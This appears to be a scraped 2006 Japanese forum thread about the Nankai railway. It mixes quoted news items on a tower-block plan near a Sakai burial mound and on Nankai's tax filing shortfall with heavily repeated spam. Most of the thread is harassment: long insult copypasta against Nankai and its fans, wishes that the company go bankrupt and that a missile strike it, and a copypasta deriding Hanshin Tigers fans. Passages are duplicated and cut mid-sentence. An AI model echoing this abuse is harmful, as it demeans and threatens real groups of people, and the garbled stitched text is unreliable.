指定されました。そこに南海電鉄は、超高層マンション計画を立ち上げたのです。〈南海電鉄住宅事業部・田中裕二部長〉「町が変わるんだ、中心地が活性化するんだと。
こういうことの起爆剤、呼び水になると考えています。（超高層マンションは）違和感のない景観だと思っています」＜続く＞しかしこの計画地、反正陵からわずか１２０メートル。
完成したら周囲の景観は激変し、世界遺産登録への影響が心配されます。反対派住民は計画の見直しを訴えましたが、南海電鉄との話し合いは平行線のままです。
「明らかに景観を破壊しており、建設を中止しなければ世界遺産登録はありえない」と指摘。ユネスコ（国連教育科学文化機関）は、世界文化遺産のケルン大聖堂（独）の
周辺で高層ビル開発の計画が持ち上がった際、大聖堂を危機遺産に登録し、計画をストップさせたという。住民らは今月二十日にも建設中止を求める要望書を市に提出する
予定だが、市建築都市局は「古墳の周囲には、低いながらもすでに家やマンションが建っている。現場に高さ制限はなく、建築基準法をクリアしていれば問題ない。
堺の中心地に人を呼び戻す絶好のチャンスと期待している」。ttp://www.sankei.co.jp/news/060419/evening/20iti001.htm■「世界遺産登録に“超高層”の影」2006/05/23
放送（長文のため一部省略）この４月に関西で４番目、全国で１５番目に政令市となった大阪府堺市が、再開発問題で頭を痛めています。超高層マンションで駅前を一気に
活性化しようというものなんですが、堺市が世界に誇る歴史遺産の未来に暗い影を落としているんです。しかし去年９月、竹川さんの耳に信じられないニュースが飛び込んできました。
なんと４５階建て、高さ１５２メートルのタワーマンションが建つというのです。世界遺産登録をめざす堺市でなぜこんなことが起こるのでしょうか。建設予定地は以前南海電鉄の
操車場でしたが、移転に伴い、遊休地となっていました。それがおととしの５月、都心活性化のための特別措置法で、駅西側の商業地とともに、高さ制限のない緊急整備地域に
指定されました。そこに南海電鉄は、超高層マンション計画を立ち上げたのです。〈南海電鉄住宅事業部・田中裕二部長〉「町が変わるんだ、中心地が活性化するんだと。
こういうことの起爆剤、呼び水になると考えています。（超高層マンションは）違和感のない景観だと思っています」＜続く＞しかしこの計画地、反正陵からわずか１２０メートル。
完成したら周囲の景観は激変し、世界遺産登録への影響が心配されます。反対派住民は計画の見直しを訴えましたが、南海電鉄との話し合いは平行線のままです。
地元で反対運動を進める吉田さんらは、手作りの模型で、マンションの及ぼす影響を説明してきました。〈地元対策協議会・吉田暢事務局長〉「イメージがわかない方もおられるんで、
『ピラミッドの横に１５０メートルの建物が建つという風にお考え頂いたらよくわかりますよ』と。あぁそういうことかと」吉田さんのもとには、すでに７，０００人を越える署名が
集まりました。堺市の有識者会議にも名を連ねる専門家はこう指摘します。〈京都府立大学・宗田好史助教授〉「あえて、今から登録をめざす遺産の中に高層ビル、それも地元の反対が
あるとなれば絶望的ですね」世界遺産か高層マンションか。ttp://mbs.jp/voice/special/200605/23_2733.shtml現在の会社の経営状況があまりにもひどすぎるので、せめて現実逃避しようと
旧塗装を走らせてシコシコとオナニーする、情けない赤字南海おらあああ！！モギャ！∧＿∧―＝≡三∧＿∧＼从从//／（´∀｀）三≡＝――＝≡三と（#´∀｀）つ''"´"∧_ﾉ；*;''"´"''::;:,
（阪急つ三≡＝――＝≡三ヽ阪和線￣￣⌒)＞д(;;;((⌒￣￣￣＿）三≡＝――＝≡三//￣￣´"'''⊂;;；#':*,'´''::;;;;::'''"´￣ヽ＼三≡＝――＝≡三＼__）;／／／（_ ,､｀^)^)＼＼＼（_＿）
三≡＝―↑赤字南海現在の会社の経営状況があまりにもひどすぎるので、せめて現実逃避しようと旧塗装撮影会でシコシコとオナニーする、情けない赤字南海&南海ヲタ
『ピラミッドの横に１５０メートルの建物が建つという風にお考え頂いたらよくわかりますよ』と。あぁそういうことかと」吉田さんのもとには、すでに７，０００人を越える署名が
集まりました。堺市の有識者会議にも名を連ねる専門家はこう指摘します。〈京都府立大学・宗田好史助教授〉「あえて、今から登録をめざす遺産の中に高層ビル、それも地元の反対が
あるとなれば絶望的ですね」世界遺産か高層マンションか。ttp://mbs.jp/voice/special/200605/23_2733.shtml現在の会社の経営状況があまりにもひどすぎるので、せめて現実逃避しようと
旧塗装を走らせてシコシコとオナニーする、情けない赤字南海おらあああ！！モギャ！∧＿∧―＝≡三∧＿∧＼从从//／（´∀｀）三≡＝――＝≡三と（#´∀｀）つ''"´"∧_ﾉ；*;''"´"''::;:,
（阪急つ三≡＝――＝≡三ヽ阪和線￣￣⌒)＞д(;;;((⌒￣￣￣＿）三≡＝――＝≡三//￣￣´"'''⊂;;；#':*,'´''::;;;;::'''"´￣ヽ＼三≡＝――＝≡三＼__）;／／／（_ ,､｀^)^)＼＼＼（_＿）
三≡＝―↑赤字南海現在の会社の経営状況があまりにもひどすぎるので、せめて現実逃避しようと旧塗装撮影会でシコシコとオナニーする、情けない赤字南海&南海ヲタ
赤字南海生き残ったら死ねばいいのにそうさ、汚物は赤字南海。こいつは最低のガラクタ
赤字南海は空気輸送が多い
赤字南海はら正真正銘宇宙最悪のゴミ
赤字南海は死ね・くたばれ・消えろ・失せろ・潰れろ・馬鹿・あほ・間抜け・ドジ。
ポンコツ・トンチキ・ガラクタ・クズ・ゴミ・カス・最低以下の下劣・下等種族。
劣等種族・下衆野郎・腐れ外道・邪道・外道・非道・ウジ虫・害虫・ガン細胞。
ウィルス・ばい菌・疫病神・病原体・汚染源・公害・ダイオキシン・有毒物質。
廃棄物・発ガン物質・猛毒・毒物・アメーバ・ダニ・ゴキブリ・シラミ・ノミ。
毛虫・蠅・蚊・ボウフラ・芋虫・掃き溜め・汚物・糞・ゲロ・糞虫野郎・ほら吹き。
基地外・デタラメ・ハッタリ・穀潰し・ろくでなし・ごろつき・ヤクザ者。
社会の敵・犯罪者・反乱者・前科者・インチキ・エロ・痴漢・ゴミ・シデムシ。
ゴミ虫・毒虫・便所コオロギ・汲み取り式便所・詐欺師・ペテン師・道化師・危険分子・痴呆・白痴。
魔物・妖怪・悪霊・怨霊・死神・貧乏神・奇天烈・奇人・変人・毒ガス・サリン。
ソマン・マスタードガス・イペリット・クソブタ・ブタ野郎・畜生・鬼畜・悪鬼。
邪気・邪鬼・ストーカー・クレイジー・ファッキン・サノバビッチ・シット・ガッデム。
小便・便所の落書き・不要物・障害物・邪魔者・除け者・不良品・カビ・腐ったミカン。
土左衛門・腐乱・腐臭・落伍者・犯人・ならず者・チンカス・膿・垢・フケ・化膿菌。
放射能・放射線・鬼っ子・異端者・妄想・邪宗・異教徒・恥垢・陰毛・白ブタ。
ケダモノ・ボッコ・ろくでなし・ＶＸガス・ヒ素・青酸・監獄・獄門・さらし首。
打ち首・市中引きずり回し・戦犯・絞首刑・斬首・乞食・浮浪者・ルンペン・物乞い。
放射性廃棄物・余命１年・アク・割れたコップ・精神年齢７歳・３審は必要なし。
不良品、規格外、欠陥品、不要物、埃、掃き溜め、吹き溜まり、塵埃、インチキ、居直り。
ふてぶてしい、盗人、盗賊、残忍、残酷、冷酷、非情、薄情者、ガキ、クソガキ。
ポンコツ・トンチキ・ガラクタ・クズ・ゴミ・カス・最低以下の下劣・下等種族。
劣等種族・下衆野郎・腐れ外道・邪道・外道・非道・ウジ虫・害虫・ガン細胞。
ウィルス・ばい菌・疫病神・病原体・汚染源・公害・ダイオキシン・有毒物質。
廃棄物・発ガン物質・猛毒・毒物・アメーバ・ダニ・ゴキブリ・シラミ・ノミ。
毛虫・蠅・蚊・ボウフラ・芋虫・掃き溜め・汚物・糞・ゲロ・糞虫野郎・ほら吹き。
基地外・デタラメ・ハッタリ・穀潰し・ろくでなし・ごろつき・ヤクザ者。
社会の敵・犯罪者・反乱者・前科者・インチキ・エロ・痴漢・ゴミ・シデムシ。
ゴミ虫・毒虫・便所コオロギ・汲み取り式便所・詐欺師・ペテン師・道化師・危険分子・痴呆・白痴。
魔物・妖怪・悪霊・怨霊・死神・貧乏神・奇天烈・奇人・変人・毒ガス・サリン。
ソマン・マスタードガス・イペリット・クソブタ・ブタ野郎・畜生・鬼畜・悪鬼。
邪気・邪鬼・ストーカー・クレイジー・ファッキン・サノバビッチ・シット・ガッデム。
小便・便所の落書き・不要物・障害物・邪魔者・除け者・不良品・カビ・腐ったミカン。
土左衛門・腐乱・腐臭・落伍者・犯人・ならず者・チンカス・膿・垢・フケ・化膿菌。
放射能・放射線・鬼っ子・異端者・妄想・邪宗・異教徒・恥垢・陰毛・白ブタ。
ケダモノ・ボッコ・ろくでなし・ＶＸガス・ヒ素・青酸・監獄・獄門・さらし首。
打ち首・市中引きずり回し・戦犯・絞首刑・斬首・乞食・浮浪者・ルンペン・物乞い。
放射性廃棄物・余命１年・アク・割れたコップ・精神年齢７歳・３審は必要なし。
不良品、規格外、欠陥品、不要物、埃、掃き溜め、吹き溜まり、塵埃、インチキ、居直り。
ふてぶてしい、盗人、盗賊、残忍、残酷、冷酷、非情、薄情者、ガキ、クソガキ。
赤字南海うるさいだまれさようなら赤字南海大胆にも、ラピートの先頭車のみ廃車
中間に貫通の運転台をつけ４両編成で１０００系と併結運用
廃車の先頭２両を繋げて１本として２連×３本組成こんなんどう？
中間に貫通の運転台をつけ４両編成で１０００系と併結運用
廃車の先頭２両を繋げて１本として２連×３本組成こんなんどう？
23:59:59なら赤字南海倒産
362 ：名無しでGO!：2006/07/04(火) 18:47:46 ID:0ONrcrFB0
ということは、「７月１日から導入！」と７月１日に大々的にやってたミナピタのイベントは、すべて嘘に基づいて行われていたのね
南海は大嘘つきですねー南海ヲタはキモい南海ヲタはキモい◇◆◇◆◇南海電鉄が申告漏れ３年間で３億５０００万円（共同通信）
◇◆◇◆◇南海電気鉄道（大阪市中央区）が大阪国税局の税務調査を受け、２００１年３月期までの３年間で約３億５０００万円の
申告漏れを指摘されていたことが２１日、分かった。同国税局は、施設の減価償却費として損金計上した約１０００万円について
所得隠しと認定、重加算税、過少申告加算税を含め約１億１０００万円を追徴課税（更正処分）した。関係者によると、同社は
建設した施設にについて供用開始前に減価償却費として約１０００万円を計上。しかし、同国税局は「施設が供用を開始した後から
計上するべきだ」などとした上で、意図的な経理操作があったとして重加算税の対象にしたという。また、そのほかにも資産の
取得にからむ減価償却費などの計上について、経理ミスがあったとして申告漏れを指摘。不正な経理操作はなかったとして
過少申告加算税の対象にしたとみられる。ttp://news.goo.ne.jp/news/topics/index/02122/1.htmlみんな、知ってると思うが、
気の向いた椰子は試してみてくれ。↓32：ひろゆき：2006/06/28(木)0:10:54ID:9kYAN017掲示板にデスノート機能をつけて
みました。。。名前欄に【Death+&rf&rus&rian&ras&ra&rn&r+Note】と書き込めば【9時15分に交通事故死】とか【12時37分に腹上死】
とか死亡時刻と死因が出ます。数値は書いた日付とか時分秒とかレス番号で反映され100種類くらいまでありますよ。。。
。o彡川出川三三三ミ〜ﾌﾟｩ〜ﾝｶﾏｯﾃｶﾏｯﾃｶﾏｯﾃｶﾏｯﾃｶﾏｯﾃｶﾏｯﾃｶﾏｯﾃｶﾏｯﾃｶﾏｯﾃ。川出川／゜∴゜＼b〜ﾌﾟｩ〜ﾝｶﾏｯﾃｶﾏｯﾃｶﾏｯﾃｶﾏｯﾃｶﾏｯﾃｶﾏｯﾃｶﾏｯﾃｶﾏｯﾃ
ｶﾏｯﾃ。‖出‖.゜◎---◎゜｜〜゜／￣￣￣￣￣￣￣￣￣￣￣￣￣￣￣￣￣￣￣￣￣￣出川‖∵∴゜。3∵゜ヽ〜＜なんで赤字南海ヲタって
。川出∴゜∵∴）д（∴）〜゜|キモチワルイ人が多いの？。出川∵∴゜∵o〜・%〜。＼＿＿＿＿＿＿＿＿＿＿＿＿＿＿＿＿＿＿＿＿＿o
南海は大嘘つきですねー南海ヲタはキモい南海ヲタはキモい◇◆◇◆◇南海電鉄が申告漏れ３年間で３億５０００万円（共同通信）
◇◆◇◆◇南海電気鉄道（大阪市中央区）が大阪国税局の税務調査を受け、２００１年３月期までの３年間で約３億５０００万円の
申告漏れを指摘されていたことが２１日、分かった。同国税局は、施設の減価償却費として損金計上した約１０００万円について
所得隠しと認定、重加算税、過少申告加算税を含め約１億１０００万円を追徴課税（更正処分）した。関係者によると、同社は
建設した施設にについて供用開始前に減価償却費として約１０００万円を計上。しかし、同国税局は「施設が供用を開始した後から
計上するべきだ」などとした上で、意図的な経理操作があったとして重加算税の対象にしたという。また、そのほかにも資産の
取得にからむ減価償却費などの計上について、経理ミスがあったとして申告漏れを指摘。不正な経理操作はなかったとして
過少申告加算税の対象にしたとみられる。ttp://news.goo.ne.jp/news/topics/index/02122/1.htmlみんな、知ってると思うが、
気の向いた椰子は試してみてくれ。↓32：ひろゆき：2006/06/28(木)0:10:54ID:9kYAN017掲示板にデスノート機能をつけて
みました。。。名前欄に【Death+&rf&rus&rian&ras&ra&rn&r+Note】と書き込めば【9時15分に交通事故死】とか【12時37分に腹上死】
とか死亡時刻と死因が出ます。数値は書いた日付とか時分秒とかレス番号で反映され100種類くらいまでありますよ。。。
。o彡川出川三三三ミ〜ﾌﾟｩ〜ﾝｶﾏｯﾃｶﾏｯﾃｶﾏｯﾃｶﾏｯﾃｶﾏｯﾃｶﾏｯﾃｶﾏｯﾃｶﾏｯﾃｶﾏｯﾃ。川出川／゜∴゜＼b〜ﾌﾟｩ〜ﾝｶﾏｯﾃｶﾏｯﾃｶﾏｯﾃｶﾏｯﾃｶﾏｯﾃｶﾏｯﾃｶﾏｯﾃｶﾏｯﾃ
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。川出∴゜∵∴）д（∴）〜゜|キモチワルイ人が多いの？。出川∵∴゜∵o〜・%〜。＼＿＿＿＿＿＿＿＿＿＿＿＿＿＿＿＿＿＿＿＿＿o
川出‖o∴゜〜∵。/。ﾌﾟｩ〜ﾝｶﾏｯﾃｶﾏｯﾃｶﾏｯﾃｶﾏｯﾃｶﾏｯﾃｶﾏｯﾃｶﾏｯﾃｶﾏｯﾃｶﾏｯﾃ川出川川∴∵∴‰U 〜ﾌﾟｩ〜ﾝｶﾏｯﾃｶﾏｯﾃｶﾏｯﾃｶﾏｯﾃｶﾏｯﾃｶﾏｯﾃｶﾏｯﾃｶﾏｯﾃｶﾏｯﾃ
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ｶﾏｯﾃｶﾏｯﾃｶﾏｯﾃｶﾏｯﾃｶﾏｯﾃ/::::∴/:::::::::::‥∵゜|〜。oﾌﾟｩ〜ﾝｶﾏｯﾃｶﾏｯﾃｶﾏｯﾃｶﾏｯﾃｶﾏｯﾃｶﾏｯﾃｶﾏｯﾃｶﾏｯﾃｶﾏｯﾃ（::::::::（ξ:・ノ:::・/:| 。゜o
。。ﾌﾟｩ〜ﾝｶﾏｯﾃｶﾏｯﾃｶﾏｯﾃｶﾏｯﾃｶﾏｯﾃｶﾏｯﾃｶﾏｯﾃｶﾏｯﾃｶﾏｯﾃo＼:::::＼:::::::∴。（::: |o。゜o。ﾌﾟｩ〜ﾝｶﾏｯﾃｶﾏｯﾃｶﾏｯﾃｶﾏｯﾃｶﾏｯﾃｶﾏｯﾃｶﾏｯﾃｶﾏｯﾃｶﾏｯﾃ
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ｼｺｼｺ ｼｺｼｺ ｼｺｼｺ|:::∴o゜＼::￣￣⊇)＿＿〜ﾓﾜｰﾓﾜｰﾓﾜｰﾓﾜｰﾓﾜｰﾓﾜｰﾓﾜｰﾓﾜｰ|:::::::∴゜∵。＼;;;;;;;;;;;（＿＿（;;;・）〜ﾓﾜｰﾓﾜｰﾓﾜｰﾓﾜｰﾓﾜｰ
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ﾌﾟｷﾞｬｰ!!赤字南海乗る人おらんかい23:59:59なら赤字南海は死ね・くたばれ・消えろ・失せろ・潰れろ・馬鹿・あほ・間抜け・ドジ。
ポンコツ・トンチキ・ガラクタ・クズ・ゴミ・カス・最低以下の下劣・下等種族。劣等種族・下衆野郎・腐れ外道・邪道・外道・非道・
ウジ虫・害虫・ガン細胞。ウィルス・ばい菌・疫病神・病原体・汚染源・公害・ダイオキシン・有毒物質。廃棄物・発ガン物質・猛毒・
毒物・アメーバ・ダニ・ゴキブリ・シラミ・ノミ。毛虫・蠅・蚊・ボウフラ・芋虫・掃き溜め・汚物・糞・ゲロ・糞虫野郎・ほら吹き。
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ポンコツ・トンチキ・ガラクタ・クズ・ゴミ・カス・最低以下の下劣・下等種族。劣等種族・下衆野郎・腐れ外道・邪道・外道・非道・
ウジ虫・害虫・ガン細胞。ウィルス・ばい菌・疫病神・病原体・汚染源・公害・ダイオキシン・有毒物質。廃棄物・発ガン物質・猛毒・
毒物・アメーバ・ダニ・ゴキブリ・シラミ・ノミ。毛虫・蠅・蚊・ボウフラ・芋虫・掃き溜め・汚物・糞・ゲロ・糞虫野郎・ほら吹き。
基地外・デタラメ・ハッタリ・穀潰し・ろくでなし・ごろつき・ヤクザ者。社会の敵・犯罪者・反乱者・前科者・インチキ・エロ・痴漢・
ゴミ・シデムシ。ゴミ虫・毒虫・便所コオロギ・汲み取り式便所・詐欺師・ペテン師・道化師・危険分子・痴呆・白痴。魔物・妖怪・
悪霊・怨霊・死神・貧乏神・奇天烈・奇人・変人・毒ガス・サリン。ソマン・マスタードガス・イペリット・クソブタ・ブタ野郎・畜生・
鬼畜・悪鬼。邪気・邪鬼・ストーカー・クレイジー・ファッキン・サノバビッチ・シット・ガッデム。小便・便所の落書き・不要物・
障害物・邪魔者・除け者・不良品・カビ・腐ったミカン。土左衛門・腐乱・腐臭・落伍者・犯人・ならず者・チンカス・膿・垢・フケ・
化膿菌。放射能・放射線・鬼っ子・異端者・妄想・邪宗・異教徒・恥垢・陰毛・白ブタ。ケダモノ・ボッコ・ろくでなし・ＶＸガス・
ヒ素・青酸・監獄・獄門・さらし首。打ち首・市中引きずり回し・戦犯・絞首刑・斬首・乞食・浮浪者・ルンペン・物乞い。放射性
廃棄物・余命１年・アク・割れたコップ・精神年齢７歳・３審は必要なし。不良品、規格外、欠陥品、不要物、埃、掃き溜め、
吹き溜まり、塵埃、インチキ、居直り。ふてぶてしい、盗人、盗賊、残忍、残酷、冷酷、非情、薄情者、ガキ、クソガキ。ﾐﾐﾐミミ""ミミ
ミ#ミミミ||ﾐ||||||.|￣￣｡￣￣|.|赤.｜.|字.｜.|し南|.|ま海.|.|すが､|.|よ倒.|.|う..産|.|に..|ﾉﾉ￣￣￣￣￣┌─────────
──────────────────┤赤字南海が一日も早く倒産しますように└────────────────────────
──┌──────────────────────┤赤字南海の冷遇が未来永年続きますように└────────────────
─────┌──────────────────────────┤赤字南海の経営も傾きますように└─────────────
────────────┌──────────────────────┤テポドン2号が赤字南海に飛んできますように└────
─────────────────片開き扉のボロ車両１編成ですら廃車にできない、金策に困った貧乏南海w
ゴミ・シデムシ。ゴミ虫・毒虫・便所コオロギ・汲み取り式便所・詐欺師・ペテン師・道化師・危険分子・痴呆・白痴。魔物・妖怪・
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障害物・邪魔者・除け者・不良品・カビ・腐ったミカン。土左衛門・腐乱・腐臭・落伍者・犯人・ならず者・チンカス・膿・垢・フケ・
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ミ#ミミミ||ﾐ||||||.|￣￣｡￣￣|.|赤.｜.|字.｜.|し南|.|ま海.|.|すが､|.|よ倒.|.|う..産|.|に..|ﾉﾉ￣￣￣￣￣┌─────────
──────────────────┤赤字南海が一日も早く倒産しますように└────────────────────────
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────────────┌──────────────────────┤テポドン2号が赤字南海に飛んできますように└────
─────────────────片開き扉のボロ車両１編成ですら廃車にできない、金策に困った貧乏南海w
阪神ファンは世界一民度の低いファン1973年最終戦で巨人にボロ負けし優勝を逃し巨人のV9を許した。最後の打者カークランドが三振に倒れた瞬間阪珍
ファンが敗戦と不甲斐なさ過ぎるダメ虎選手に怒り、7回辺りからベンチ上などで暴れたり、危険物を投げ飛ばして試合を妨害。暴力はさらに暴徒と化し
一塁側スタンドから乱入したアホ阪珍ファンが巨人ベンチに襲った。巨人選手は試合終了と同時に胴上げもせずダッシュでベンチ裏に退散したが王貞治は
下駄で殴られ、森昌彦はキャッチャーマスクを盗られまた付近にいた警察官やカメラマンが怪我を負った。さらに三塁側スタンドでは巨人応援団をビンで
襲撃したり集団リンチするなどし近所の甲子園署から200人、兵庫県警機動隊が70人出動し県警からの要請で金田阪珍監督がファンの前でお詫びをする
おまけまで付いた。県警に追い散らされた阪珍ファンは帰れ!コールを浴びせかけ、最後はダメ虎選手を翌日までロッカールームに缶詰めにした。
またこの試合を放送してたTVラジオの実況席にも試合途中から危険物が投げ込まれ、500人ほどのファンが襲った。TVはマイクコードを抜かれたため中継の
最後の方では荒れ狂う甲子園のグラウンドの映像のみとなってしまった。観客席からの蛮行はそれにとどまらずこの試合を放送してた読売テレビの解説者
元阪珍選手の村山実に対して「阪神OBのくせに巨人の肩を持ちやがって」という言いがかりに近い因縁を付ける奴もおり各局の放送席は軒並み暴徒と化した
ファンに襲われた。1992年甲子園球場でのヤクルトとの優勝決定戦の際、ヤクルトが勝ち優勝した際球場内でヤクルト選手達に「帰れコール」を浴びせる。
ファンが敗戦と不甲斐なさ過ぎるダメ虎選手に怒り、7回辺りからベンチ上などで暴れたり、危険物を投げ飛ばして試合を妨害。暴力はさらに暴徒と化し
一塁側スタンドから乱入したアホ阪珍ファンが巨人ベンチに襲った。巨人選手は試合終了と同時に胴上げもせずダッシュでベンチ裏に退散したが王貞治は
下駄で殴られ、森昌彦はキャッチャーマスクを盗られまた付近にいた警察官やカメラマンが怪我を負った。さらに三塁側スタンドでは巨人応援団をビンで
襲撃したり集団リンチするなどし近所の甲子園署から200人、兵庫県警機動隊が70人出動し県警からの要請で金田阪珍監督がファンの前でお詫びをする
おまけまで付いた。県警に追い散らされた阪珍ファンは帰れ!コールを浴びせかけ、最後はダメ虎選手を翌日までロッカールームに缶詰めにした。
またこの試合を放送してたTVラジオの実況席にも試合途中から危険物が投げ込まれ、500人ほどのファンが襲った。TVはマイクコードを抜かれたため中継の
最後の方では荒れ狂う甲子園のグラウンドの映像のみとなってしまった。観客席からの蛮行はそれにとどまらずこの試合を放送してた読売テレビの解説者
元阪珍選手の村山実に対して「阪神OBのくせに巨人の肩を持ちやがって」という言いがかりに近い因縁を付ける奴もおり各局の放送席は軒並み暴徒と化した
ファンに襲われた。1992年甲子園球場でのヤクルトとの優勝決定戦の際、ヤクルトが勝ち優勝した際球場内でヤクルト選手達に「帰れコール」を浴びせる。
1998年甲子園球場で横浜が優勝を決め権藤監督の胴上げ最中にヤクルトの時と同じく「帰れコール」を浴びせる。2001年開幕戦の対巨人戦で記録的な大敗を
喫した試合、最後の打者がレフトフライに打ち取られた時に捕球態勢に入った巨人清水に対してレフトスタンドの阪珍ファンから大量のメガホンが清水に
対して投げ込まれた。阪神ファンは世界一民度の低いファンその２2002年9月24日巨人が甲子園球場で優勝を決めた。その際、中虎連合会幹部の脅迫によって
セレモニーの順序変更（当初予定は原監督の胴上げ→六甲おろしだったが六甲おろしの→原監督の胴上げに変更）が強要された。2003年それまで18連勝と
好調だった横浜戦で敗戦した際9回裏3アウト目となるレフトフライを捕球した多村めがけて阪珍ファンがメガホンを投げつけるという行為を働いた。
多村は本当に危ない怪我するかと思ったとコメント。阪神ファンに暴力的なイメージのみが定着し、横浜ファンとの確執が生れた。またアホファンの集まり
らしくが相手投手がノックアウトされて降板する時はホームでは蛍の光の替え歌を合唱し一生懸命試合をしている相手チームの選手に対して相手を馬鹿にし
侮辱するセレモニーをアホの集まりらしくアホぽっく毎回やってる。そのアホセレモニー、 2003年の日本シリーズではホークスのショート川崎宗則が
走者秀太と交錯し負傷、担架に乗せられて退場する際にスタンドの阪珍ファンが蛍の光のアホセレモニーをやらかしており、ダイエーファンのみならず
阪珍ファン以外の全他球団のファン野球ファン以外にもあまりに度を越していると批判された。つづく阪神ファンは世界一民度の低いファンその３2004年
プロ野球再編問題時、阪珍の人気一極集中のせいで近鉄球団の経営危機、オリックスとの球団合併の原因を作ったのに、阪珍ファンが合併問題に無関心で
あったことが阪珍ファンと言う人間性の欠如さ・自分勝手ぶり・排他性・人格異常さを現している。2005年日本シリーズでロッテファンと口を聞いたやろと
喫した試合、最後の打者がレフトフライに打ち取られた時に捕球態勢に入った巨人清水に対してレフトスタンドの阪珍ファンから大量のメガホンが清水に
対して投げ込まれた。阪神ファンは世界一民度の低いファンその２2002年9月24日巨人が甲子園球場で優勝を決めた。その際、中虎連合会幹部の脅迫によって
セレモニーの順序変更（当初予定は原監督の胴上げ→六甲おろしだったが六甲おろしの→原監督の胴上げに変更）が強要された。2003年それまで18連勝と
好調だった横浜戦で敗戦した際9回裏3アウト目となるレフトフライを捕球した多村めがけて阪珍ファンがメガホンを投げつけるという行為を働いた。
多村は本当に危ない怪我するかと思ったとコメント。阪神ファンに暴力的なイメージのみが定着し、横浜ファンとの確執が生れた。またアホファンの集まり
らしくが相手投手がノックアウトされて降板する時はホームでは蛍の光の替え歌を合唱し一生懸命試合をしている相手チームの選手に対して相手を馬鹿にし
侮辱するセレモニーをアホの集まりらしくアホぽっく毎回やってる。そのアホセレモニー、 2003年の日本シリーズではホークスのショート川崎宗則が
走者秀太と交錯し負傷、担架に乗せられて退場する際にスタンドの阪珍ファンが蛍の光のアホセレモニーをやらかしており、ダイエーファンのみならず
阪珍ファン以外の全他球団のファン野球ファン以外にもあまりに度を越していると批判された。つづく阪神ファンは世界一民度の低いファンその３2004年
プロ野球再編問題時、阪珍の人気一極集中のせいで近鉄球団の経営危機、オリックスとの球団合併の原因を作ったのに、阪珍ファンが合併問題に無関心で
あったことが阪珍ファンと言う人間性の欠如さ・自分勝手ぶり・排他性・人格異常さを現している。2005年日本シリーズでロッテファンと口を聞いたやろと
因縁をつけてアホらしく同じ阪珍ファン同士暴力振るって逮捕された。この他、東京ドームでの巨人戦で勝利した際JR中央総武線水道橋駅電車内でも勝利を祝い、
野球ファンや野球に興味の無い人とのトラブルも発生している。同様のトラブルは横浜戦直後のJR根岸線関内駅でも発生している。また甲子園では甲子園駅の
ホームで阪神電車に乗って帰ろうとする相手チームのファンに対して「降りろ」コールをアホぽっく幼稚な事をやってる。2005年阪珍私設応援団、中虎連合会が
日本音楽著作権協会に不正登録し著作権使用料を不正に受け取っていた会長などが著作権法違反容疑で逮捕された。またこの中虎連合会は幹部に暴力団構成員を
就任させていた。さらに他の応援団との小競り合いやファン、球場関係者への暴力事件も起こしている。などなど数えあげたらきりがないくらい過去の多数の事件と
粗暴な野次から阪珍ファンの粗暴なイメージは強い。そしてココにも民度の低い阪珍ファンがいるこの神聖ななっちゃんスレに民度、知能指数が低い阪急タイガース
ファンは２度とくるなドアホ赤字貧乏南海赤字貧乏南海赤字貧乏南海赤字貧乏南海赤字貧乏南海赤字貧乏南海赤字貧乏南海赤字貧乏南海赤字貧乏南海赤字貧乏南海
赤字貧乏南海赤字貧乏南海赤字貧乏南海赤字貧乏南海赤字貧乏南海赤字貧乏南海赤字貧乏南海赤字貧乏南海赤字貧乏南海赤字貧乏南海赤字貧乏南海赤字貧乏南海
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野球ファンや野球に興味の無い人とのトラブルも発生している。同様のトラブルは横浜戦直後のJR根岸線関内駅でも発生している。また甲子園では甲子園駅の
ホームで阪神電車に乗って帰ろうとする相手チームのファンに対して「降りろ」コールをアホぽっく幼稚な事をやってる。2005年阪珍私設応援団、中虎連合会が
日本音楽著作権協会に不正登録し著作権使用料を不正に受け取っていた会長などが著作権法違反容疑で逮捕された。またこの中虎連合会は幹部に暴力団構成員を
就任させていた。さらに他の応援団との小競り合いやファン、球場関係者への暴力事件も起こしている。などなど数えあげたらきりがないくらい過去の多数の事件と
粗暴な野次から阪珍ファンの粗暴なイメージは強い。そしてココにも民度の低い阪珍ファンがいるこの神聖ななっちゃんスレに民度、知能指数が低い阪急タイガース
ファンは２度とくるなドアホ赤字貧乏南海赤字貧乏南海赤字貧乏南海赤字貧乏南海赤字貧乏南海赤字貧乏南海赤字貧乏南海赤字貧乏南海赤字貧乏南海赤字貧乏南海
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赤字貧乏南海赤字貧乏南海キセルの常連赤字貧乏南海ヲタ
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赤字貧乏南海赤字貧乏南海キセルの常連赤字貧乏南海ヲタ
未だにオンボロの片開き扉車すら廃車にできない情けない南海（藁
_, ,_ ⊇⊃⊇⊃ﾎｧｰ！ｱｰﾀｯﾀｯﾀｯﾀｯﾀｯﾀｯﾀｯﾀｯﾀｯﾀｯﾀｯ（ ’д’）⊇⊃彡☆））Д´）
←赤字貧乏南海ヲタ⊇⊃⊇⊃ｱｰﾀｯﾀｯﾀｯﾀｯﾀｯﾀｯ！ｵﾜｯｯﾀ-！またミサイル飛んでこないかな〜
こんどは日本列島直撃で腐りきった赤字南海＆赤字貧乏南海ヲタが滅びたらいいね〜赤字南海沿線は汚物
←赤字貧乏南海ヲタ⊇⊃⊇⊃ｱｰﾀｯﾀｯﾀｯﾀｯﾀｯﾀｯ！ｵﾜｯｯﾀ-！またミサイル飛んでこないかな〜
こんどは日本列島直撃で腐りきった赤字南海＆赤字貧乏南海ヲタが滅びたらいいね〜赤字南海沿線は汚物
赤字南海でしょでしょ！！
「苦情」の価値判断は人それぞれだと思うけど、ここで皆さんが「苦情」を言う程、一般市
民はあの電車が悪いとは思っていないようだけど。というか、「ああ、そうなの？」という
程度の認識しか一般市民にはない。
一般市民の「苦情」といえば、まず時間通りに電車が走らない事、著しくダイヤが不便な事、
ラッシュ時に混雑が激しい事、そして電車が汚い事というのが普通だろう。「汚い・古い」
といっても、素人目にも古臭い電車ならともかく、今の7000系が果たしてそうかと考えて
も、そこまでは感じていないと思う。確かに見た目はステンレス車のように輝いてはいない
し、何か古臭い造りで古いかなとは思うかも知れないが、せいぜいその程度だ。スピードだ
ってそこそこ出る。
ただ、私たち鉄道ファンは、その足回りが古臭い、加速が悪いと実車の経歴や中身を知って
いるから、嫌なイメージも余計感じるのだと思う。私の知り合いの南海線で長い事通勤し
ている一般人に聞いても、電車に対しての認識は余りないようだ。せいぜい、最近ステンレ
スの“新車”がたまに来るという程度だった。言われてみれば「ああ、確かに古い感じはす
るな」と思うくらいだった。
民はあの電車が悪いとは思っていないようだけど。というか、「ああ、そうなの？」という
程度の認識しか一般市民にはない。
